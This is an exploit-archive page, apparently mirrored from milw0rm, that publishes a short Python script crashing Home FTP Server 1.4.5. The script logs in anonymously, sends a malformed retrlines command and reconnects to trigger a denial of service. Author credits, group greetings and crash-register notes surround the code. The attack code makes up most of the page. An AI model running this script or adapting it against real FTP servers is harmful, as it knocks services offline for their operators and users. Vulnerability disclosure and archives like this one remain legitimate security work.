Home FTP Server 1.4.5 - Remote Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Home FTP Server 1.4.5 - Remote Denial of Service Exploit by 0in from DaRk-CodeR


                                                # Discovered by 0in from DaRk-CodeRs Programming & Security Group
# Contact: 0in(dot)email[at]gmail(dot)com
# Thats a very funny bug, and nobody understand how it works;]
# When we send a python FTP retrlines() function bad command and create
# a new connection server got DoS... o0
# Thats not overflow, it&#39;s probubly in logic application.
# Greetings to all DaRk-CodeRs Members:
# Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89
# Special THX to: Rade0n3900
# Debug:
# ----------------------
# | EIP: 0100FE98 |
# | DS:[00FFFFED4]=??? |
# | ECX: 0100FED4 |
# ----------------------
from ftplib import FTP
import time
ip=&#34;127.0.0.1&#34;
login=&#34;anonymous&#34;
passwd = &#39;[email protected]&#39;
print &#39;-------------------------------&#39;
print &#39;| HOME FTP SERVER DoS Exploit |&#39;
print &#39;| bY 0in From Dark-Coders! |&#39;
print &#39;|&#62;&#62;http://dark-coders.4rh.eu&#60;&#60;|&#39;
print &#39;-------------------------------&#39;
print &#39;connecting...&#39;
ftp=FTP(ip)
ftp.login(login,passwd)
print &#39;sending...&#39;
try:
ftp.retrlines(&#34;AAAA&#34;)
except Exception:
print &#39;ok!\nreconnecting...&#39;
ftp=FTP(ip)
ftp.quit()
print &#39;DosEd&#39;
#EoFF

# milw0rm.com [2008-03-17]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1